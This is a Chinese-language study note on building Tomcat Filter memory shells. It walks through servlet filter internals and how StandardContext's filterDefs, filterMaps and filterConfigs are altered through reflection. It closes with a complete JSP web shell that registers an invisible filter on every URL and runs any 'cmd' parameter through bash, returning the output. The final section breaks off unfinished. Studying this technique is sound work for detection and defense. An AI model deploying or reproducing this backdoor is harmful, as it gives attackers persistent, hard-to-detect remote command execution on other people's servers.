Filter内存马学习
Filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
一个 servlet 的 filter 大概长这样
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
}
应用 Filter 的 web.xml
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
- 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
- 每一次请求时都只调用方法doFilter()进行处理;
- 停止服务器时调用destroy()方法,销毁实例。
现在的前提条件是我们能自由传一个 jsp,那么要做的就是怎样在这个 jsp 中写一个命令执行的 Filter 并把它插入到服务原本的 filter 中,这里的实现思路是模拟写一个 web.xml。
Filter 原理:
在 filter 中打一个断点,跟一下函数调用栈,
filterConfig 是从 filters 里挨个拿出来的,往前找 filters
用到的是 filterChain 中的 filters,再确定一下这个 filterChain 如何被构建的
跟进去,先用 getParent 拿到了 context(即当前访问的web程序)
然后在 findFilterMaps 中拿到了映射关系
循环遍历 FilterMap,如果找到一个映射和我们访问的 context 对应(这里是/demo),就会这个映射对应的 filter 初始化,加进 filters 中
可见,filter 最开始是从 context 中拿到的,那下一步就是考虑怎么拿这个 context
- 能直接获取 request 的时候,将 ServletContext 转为 StandardContext 从而获取 context
- 从线程中获取StandardContext
- 从MBean中获取
将 ServletContext 转为 StandardContext:
看一先 context 中与 filter 相关的东西:
需要知道的几个区分:
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息 filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息 filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
这里要用到 StandardContext 中的几个重要函数
- StandardContext.addFilterDef()可以将 filterDef 加进 filterDefs 中
- StandardContext.addFilterMapBefore()把 filtermap 添加到 FilterMaps 的第一个位置
其中的参数可以通过反射修改。
综上,就有了写 Filter 内存马的大致流程:
- 一个恶意 Filter
- 用 filterDef 封装它
- 把这个 filterDef 添加到 filterDefs 中(StandardContext.addFilterDef())
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中
分段看一下代码,初始化,首先判断 filter 名字是否存在,不存在就注入
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
首先判断 filter 名字是否存在,不存在就注入
if (filterConfigs.get(name) == null){ // 创建恶意 Filter Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };
创建一个 FilterDef 并设置属性,相当于
<filter> <filter-name>filterDemo</filter-name> <filter-class>filterDemo</filter-class> </filter>
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
用 addFilterDef 将 filterDef 添加到 filterDefs 中
standardContext.addFilterDef(filterDef);
创建一个 filtermap,并设置对应的 urilpattern,相当于
<filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping>
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3 filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
创建 FilterConfig,传入 filterDef 和 standardCtf(拿到的 Context)
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
最后的马(来自木头师傅)
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
从线程中获取StandardContext(待补充)
目的是找 Tomcat 中全局存储的 request 或 response